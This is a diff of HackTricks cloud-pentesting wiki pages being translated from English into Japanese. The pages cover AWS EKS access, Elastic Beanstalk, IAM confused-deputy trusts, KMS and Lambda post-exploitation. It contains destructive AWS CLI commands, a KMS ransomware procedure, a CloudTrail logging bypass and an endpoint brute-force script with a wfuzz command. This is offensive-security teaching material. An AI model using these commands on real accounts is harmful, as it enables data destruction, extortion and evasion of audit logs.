hWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ contexts: - - context: - cluster: arn:aws:eks:us-east-1::cluster/ - user: arn:aws:eks:us-east-1::cluster/ - name: arn:aws:eks:us-east-1::cluster/ +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ current-context: arn:aws:eks:us-east-1::cluster/ kind: Config preferences: {} users: - - name: arn:aws:eks:us-east-1::cluster/ - user: - exec: - apiVersion: client.authentication.k8s.io/v1beta1 - args: - - --region - - us-west-2 - - --profile - - - - eks - - get-token - - --cluster-name - - - command: aws - env: null - interactiveMode: IfAvailable - provideClusterInfo: false +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false ``` -
-### From AWS to Kubernetes +### AWSからKubernetesへ -The **creator** of the **EKS cluster** is **ALWAYS** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). At the time of this writing there is **no direct way** to find **who created** the cluster (you can check CloudTrail). And the is **no way** to **remove** that **privilege**. +**EKSクラスター**の**作成者**は、グループ**`system:masters`**（k8s管理者）のkubernetesクラスター部分に**常に**アクセスできることになります。この執筆時点では、**クラスターを作成した人**を見つける**直接的な方法**はありません（CloudTrailを確認できます）。また、その**特権**を**削除する方法**もありません。 -The way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**. +**K8sへのアクセスを他のAWS IAMユーザーやロールに付与する方法**は、**configmap** **`aws-auth`**を使用することです。 > [!WARNING] -> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**. +> したがって、config map **`aws-auth`**に**書き込みアクセス**を持つ人は、**クラスター全体を危険にさらす**ことができます。 -For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +**同じまたは異なるアカウント**でIAMロールやユーザーに**追加の特権を付与する方法**や、これを**悪用する方法**については、[**privescこのページを確認してください**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。 -Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. +また、[**この素晴らしい**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **投稿をチェックして、IAMからKubernetesへの認証がどのように機能するかを学んでください**。 -### From Kubernetes to AWS +### KubernetesからAWSへ -It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +**Kubernetesサービスアカウント**のために**OpenID認証を許可する**ことが可能で、これによりAWSでロールを引き受けることができます。これがどのように機能するかについては、[**このページで学んでください**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。 -### GET Api Server Endpoint from a JWT Token - -Decoding the JWT token we get the cluster id & also the region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Knowing that the standard format for EKS url is +### JWTトークンからAPIサーバーエンドポイントを取得する +JWTトークンをデコードすると、クラスターIDとリージョンが得られます。![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URLの標準形式は次の通りです。 ```bash https://...eks.amazonaws.com ``` - -Didn't find any documentation that explain the criteria for the 'two chars' and the 'number'. But making some test on my behalf I see recurring these one: +ドキュメントで「2文字」と「数字」の基準を説明しているものは見つかりませんでした。しかし、自分でテストを行ったところ、以下のものが繰り返し現れることがわかりました： - gr7 - yl4 -Anyway are just 3 chars we can bruteforce them. Use the below script for generating the list - +とにかく、たった3文字なので、ブルートフォース攻撃できます。リストを生成するために以下のスクリプトを使用してください。 ```python from itertools import product from string import ascii_lowercase @@ -116,44 +107,37 @@ letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) number_combinations = product('0123456789', repeat = 1) result = [ - f'{''.join(comb[0])}{comb[1][0]}' - for comb in product(letter_combinations, number_combinations) +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) ] with open('out.txt', 'w') as f: - f.write('\n'.join(result)) +f.write('\n'.join(result)) ``` - -Then with wfuzz - +その後、wfuzzを使用して ```bash wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` - > [!WARNING] -> Remember to replace & . +> & を置き換えることを忘れないでください。 -### Bypass CloudTrail +### CloudTrailのバイパス -If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally). +攻撃者が**EKSに対する権限を持つAWSの資格情報**を取得した場合、攻撃者が前述のように**`update-kubeconfig`**を呼び出さずに独自の**`kubeconfig`**を設定すると、**`get-token`**はAWS APIと対話しないため、CloudTrailにログを生成しません（トークンをローカルで作成するだけです）。 -So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**. +したがって、攻撃者がEKSクラスターと通信すると、**cloudtrailはユーザーが盗まれてアクセスしていることに関連する何もログに記録しません**。 -Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled). +**EKSクラスターにはこのアクセスをログに記録するログが有効になっている可能性がある**ことに注意してください（デフォルトでは無効になっていますが）。 -### EKS Ransom? +### EKSの身代金？ -By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster. +デフォルトでは、**クラスターを作成したユーザーまたはロールは**、**常にクラスターに対して管理者権限を持つ**ことになります。そして、それがKubernetesクラスターに対するAWSの唯一の「安全な」アクセスです。 -So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**. +したがって、**攻撃者がFargateを使用してクラスターを侵害し**、**他のすべての管理者を削除し**、**クラスターを作成したAWSユーザー/ロールを削除した場合、~~攻撃者はクラスターを**身代金にすることができた~~**。 > [!TIP] -> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster. +> クラスターが**EC2 VM**を使用している場合、**ノード**から管理者権限を取得し、クラスターを回復することが可能であることに注意してください。 > -> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node. +> 実際、クラスターがFargateを使用している場合、EC2ノードを使用するか、すべてをEC2に移動してクラスターを回復し、ノード内のトークンにアクセスすることができます。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 6267ee02f..ce9749c39 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - Elastic Beanstalk Post Exploitation +# AWS - Elastic Beanstalk ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -For more information: +詳細情報: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md @@ -13,72 +13,58 @@ For more information: ### `elasticbeanstalk:DeleteApplicationVersion` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up. +> TODO: これに対して追加の権限が必要かテストする +`elasticbeanstalk:DeleteApplicationVersion` の権限を持つ攻撃者は **既存のアプリケーションバージョンを削除** できます。このアクションは、アプリケーションデプロイメントパイプラインを妨害したり、バックアップがない場合に特定のアプリケーションバージョンの損失を引き起こす可能性があります。 ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` - -**Potential Impact**: Disruption of application deployment and potential loss of application versions. +**潜在的な影響**: アプリケーションのデプロイメントの中断とアプリケーションバージョンの潜在的な損失。 ### `elasticbeanstalk:TerminateEnvironment` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups. +> TODO: これに必要な権限が他にあるかテストする +`elasticbeanstalk:TerminateEnvironment` の権限を持つ攻撃者は、**既存の Elastic Beanstalk 環境を終了させる**ことができ、アプリケーションのダウンタイムを引き起こし、環境がバックアップ用に構成されていない場合はデータ損失の可能性があります。 ```bash aws elasticbeanstalk terminate-environment --environment-name my-existing-env ``` - -**Potential Impact**: Downtime of the application, potential data loss, and disruption of services. +**潜在的な影響**: アプリケーションのダウンタイム、潜在的なデータ損失、およびサービスの中断。 ### `elasticbeanstalk:DeleteApplication` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up. +> TODO: これに対して追加の権限が必要かテストする +`elasticbeanstalk:DeleteApplication` の権限を持つ攻撃者は、**Elastic Beanstalk アプリケーション全体を削除**することができ、そのすべてのバージョンと環境を含みます。このアクションは、バックアップがない場合、アプリケーションリソースと構成の重大な損失を引き起こす可能性があります。 ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` - -**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss. +**潜在的な影響**: アプリケーションリソース、構成、環境、およびアプリケーションバージョンの喪失により、サービスの中断やデータ損失の可能性があります。 ### `elasticbeanstalk:SwapEnvironmentCNAMEs` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior. +> TODO: これに必要な権限が他にあるかテストする +`elasticbeanstalk:SwapEnvironmentCNAMEs` 権限を持つ攻撃者は、**2つのElastic Beanstalk環境のCNAMEレコードを入れ替える**ことができ、これによりユーザーに誤ったバージョンのアプリケーションが提供されたり、意図しない動作を引き起こす可能性があります。 ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` - -**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments. +**潜在的な影響**: ユーザーに誤ったバージョンのアプリケーションを提供したり、環境が入れ替わったことによるアプリケーションの意図しない動作を引き起こす可能性があります。 ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management. +> TODO: これに必要な権限が他にあるかテストする +`elasticbeanstalk:AddTags` および `elasticbeanstalk:RemoveTags` 権限を持つ攻撃者は **Elastic Beanstalk リソースにタグを追加または削除することができます**。このアクションは、リソースの不正な割り当て、請求、またはリソース管理につながる可能性があります。 ```bash aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag ``` - -**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags. +**潜在的な影響**: 追加または削除されたタグによるリソースの不適切な割り当て、請求、またはリソース管理。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index f734122e8..eaa94f9c6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -4,7 +4,7 @@ ## IAM -For more information about IAM access: +IAMアクセスに関する詳細情報: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,96 +12,82 @@ For more information about IAM access: ## Confused Deputy Problem -If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**. +もしあなたが**外部アカウント(A)**にあなたのアカウントの**ロール**にアクセスすることを許可すると、**その外部アカウントに正確にアクセスできるのは誰か**について**0の可視性**しか持たないことになります。これは問題です。なぜなら、別の外部アカウント(B)が外部アカウント(A)にアクセスできる場合、**Bもあなたのアカウントにアクセスできる可能性があるからです**。 -Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**. +したがって、外部アカウントがあなたのアカウントのロールにアクセスすることを許可する際には、`ExternalId`を指定することが可能です。これは、外部アカウント(A)が**あなたの組織のロールを引き受けるために**指定する必要がある「秘密」の文字列です。**外部アカウントBはこの文字列を知らないため**、Aにアクセスできても、**あなたのロールにアクセスすることはできません**。
-However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**. - -Example: +ただし、この`ExternalId`の「秘密」は**秘密ではありません**。IAMのロール引き受けポリシーを**読むことができる人は誰でもそれを見ることができます**。しかし、外部アカウントAがそれを知っていて、外部アカウント**Bがそれを知らない限り、BがAを悪用してあなたのロールにアクセスすることを**防ぎます**。 +例: ```json { - "Version": "2012-10-17", - "Statement": { - "Effect": "Allow", - "Principal": { - "AWS": "Example Corp's AWS Account ID" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "12345" - } - } - } +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} } ``` - > [!WARNING] -> For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts. +> 攻撃者が混乱した代理人を悪用するには、現在のアカウントのプリンシパルが他のアカウントのロールを偽装できるかどうかを何らかの方法で見つける必要があります。 -### Unexpected Trusts - -#### Wildcard as principal +### 予期しない信頼 +#### プリンシパルとしてのワイルドカード ```json { - "Action": "sts:AssumeRole", - "Effect": "Allow", - "Principal": { "AWS": "*" } +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } } ``` +このポリシーは**すべてのAWS**がロールを引き受けることを許可します。 -This policy **allows all AWS** to assume the role. - -#### Service as principal - +#### サービスを主体として ```json { - "Action": "lambda:InvokeFunction", - "Effect": "Allow", - "Principal": { "Service": "apigateway.amazonaws.com" }, - "Resource": "arn:aws:lambda:000000000000:function:foo" +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" } ``` +このポリシーは**任意のアカウント**がこのLambdaを呼び出すために自分のapigatewayを設定することを許可します。 -This policy **allows any account** to configure their apigateway to call this Lambda. - -#### S3 as principal - +#### S3を主体として ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, - "StringEquals": { - "aws:SourceAccount": "123456789012" - } +"StringEquals": { +"aws:SourceAccount": "123456789012" +} } ``` +もしS3バケットがプリンシパルとして指定されている場合、S3バケットにはアカウントIDがないため、もし**あなたのバケットを削除し、攻撃者が自分のアカウントでそれを作成した場合**、彼らはこれを悪用することができます。 -If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this. - -#### Not supported - +#### サポートされていません ```json { - "Effect": "Allow", - "Principal": { "Service": "cloudtrail.amazonaws.com" }, - "Action": "s3:PutObject", - "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` +混乱した代理人の問題を回避する一般的な方法は、`AWS:SourceArn`を使用して起源ARNをチェックする条件を使用することです。しかし、**一部のサービスはそれをサポートしていない可能性があります**（いくつかの情報源によるとCloudTrailのように）。 -A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources). - -## References +## 参考文献 - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 482af5425..37276542e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -1,137 +1,125 @@ -# AWS - KMS Post Exploitation +# AWS - KMS ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## KMS -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Encrypt/Decrypt information +### 情報の暗号化/復号化 -`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: +`fileb://` と `file://` は、AWS CLI コマンドでローカルファイルのパスを指定するために使用される URI スキームです： -- `fileb://:` Reads the file in binary mode, commonly used for non-text files. -- `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements. +- `fileb://:` バイナリモードでファイルを読み取ります。通常、テキスト以外のファイルに使用されます。 +- `file://:` テキストモードでファイルを読み取ります。通常、プレーンテキストファイル、スクリプト、または特別なエンコーディング要件のない JSON に使用されます。 > [!TIP] -> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://) - -- Using a **symmetric** key +> ファイル内のデータを復号化したい場合、そのファイルにはバイナリデータが含まれている必要があります。base64 エンコードされたデータではありません。（fileb://） +- **対称**キーを使用して ```bash # Encrypt data aws kms encrypt \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - -- Using a **asymmetric** key: - +- **非対称**キーを使用する: ```bash # Encrypt data aws kms encrypt \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode ``` +### KMS ランサムウェア -### KMS Ransomware +KMS に対して特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更し、**自分のアカウントに対してアクセスを付与し**、正当なアカウントに付与されたアクセスを削除することができます。 -An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account. - -Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account. +その結果、正当なアカウントのユーザーは、これらのキーで暗号化されたサービスの情報にアクセスできなくなり、アカウントに対して簡単だが効果的なランサムウェアを作成します。 > [!WARNING] -> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**. - -> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI). +> **AWS 管理キーはこの攻撃の影響を受けません**、**顧客管理キー**のみが影響を受けます。 +> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要があることに注意してください（ウェブコンソールにこのオプションがないため、この攻撃は CLI からのみ可能です）。 ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ - --policy-name default \ - --policy file:///tmp/policy.yaml \ - --bypass-policy-lockout-safety-check +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check { - "Id": "key-consolepolicy-3", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - > [!CAUTION] -> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**. +> 注意してください。ポリシーを変更して外部アカウントにのみアクセスを与え、その外部アカウントから元のアカウントにアクセスを戻す新しいポリシーを設定しようとすると、**できなくなります**。
-### Generic KMS Ransomware +### 一般的なKMSランサムウェア -#### Global KMS Ransomware +#### グローバルKMSランサムウェア -There is another way to perform a global KMS Ransomware, which would involve the following steps: +グローバルKMSランサムウェアを実行する別の方法があり、以下の手順が含まれます： -- Create a new **key with a key material** imported by the attacker -- **Re-encrypt older data** encrypted with the previous version with the new one. -- **Delete the KMS key** -- Now only the attacker, who has the original key material could be able to decrypt the encrypted data - -### Destroy keys +- 攻撃者によってインポートされた**キー素材**を持つ新しい**キーを作成する** +- 新しいキーで以前のバージョンで暗号化された**古いデータを再暗号化する** +- **KMSキーを削除する** +- これで、元のキー素材を持つ攻撃者だけが暗号化されたデータを復号化できるようになります +### キーを破壊する ```bash # Destoy they key material previously imported making the key useless aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ - --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ - --pending-window-in-days 7 +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 ``` - > [!CAUTION] -> Note that AWS now **prevents the previous actions from being performed from a cross account:** +> AWSは現在、**クロスアカウントからの以前のアクションの実行を防止しています：**
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 5f25c205a..191046845 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -1,33 +1,29 @@ -# AWS - Lambda Post Exploitation +# AWS - Lambda ポストエクスプロイテーション {{#include ../../../../banners/hacktricks-training.md}} ## Lambda -For more information check: +詳細については、以下を確認してください： {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Steal Others Lambda URL Requests +### 他のLambdaのURLリクエストを盗む -If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them. +攻撃者が何らかの方法でLambda内でRCEを取得した場合、他のユーザーのHTTPリクエストをLambdaから盗むことができます。リクエストに機密情報（クッキー、認証情報など）が含まれている場合、それを盗むことができます。 {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Steal Others Lambda URL Requests & Extensions Requests +### 他のLambdaのURLリクエストと拡張リクエストを盗む -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Lambda Layersを悪用することで、拡張機能を悪用し、Lambdaに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。 {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index bc93fe53a..88cab8ea9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -1,42 +1,41 @@ -# AWS - Steal Lambda Requests +# AWS - Lambdaリクエストの盗難 {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Flow +## Lambdaフロー

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

-1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process. -2. The init process listens on port **9001** exposing some interesting endpoints: - - **`/2018-06-01/runtime/invocation/next`** – get the next invocation event - - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke - - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error -3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**). -4. Finally, **bootstrap.py** sends to init the **response** +1. **Slicer**はコンテナ外のプロセスで、**init**プロセスに**呼び出し**を**送信**します。 +2. initプロセスはポート**9001**でリッスンし、いくつかの興味深いエンドポイントを公開しています： +- **`/2018-06-01/runtime/invocation/next`** – 次の呼び出しイベントを取得 +- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – 呼び出しのハンドラー応答を返す +- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – 実行エラーを返す +3. **bootstrap.py**はinitプロセスから呼び出しを取得するループを持ち、それらを処理するためにユーザーコードを呼び出します（**`/next`**）。 +4. 最後に、**bootstrap.py**はinitに**応答**を送信します。 -Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process. +bootstrapはユーザーコードをモジュールとして読み込むため、ユーザーコードによって実行されるコードは実際にはこのプロセス内で発生しています。 -## Stealing Lambda Requests +## Lambdaリクエストの盗難 -The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process. +この攻撃の目的は、ユーザーコードが脆弱なリクエストを処理する**`bootstrap.py`**プロセス内で悪意のある**`bootstrap.py`**プロセスを実行させることです。このようにして、**悪意のあるbootstrap**プロセスは**initプロセスと通信を開始**し、リクエストを処理しますが、**正当な**bootstrapは**トラップ**されて悪意のあるものを実行しているため、initプロセスにリクエストを要求しません。 -This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could: +これは、ユーザーのコードが正当な**`bootstrap.py`**プロセスによって実行されているため、達成するのは簡単な作業です。したがって、攻撃者は次のことができます： -- **Send a fake result of the 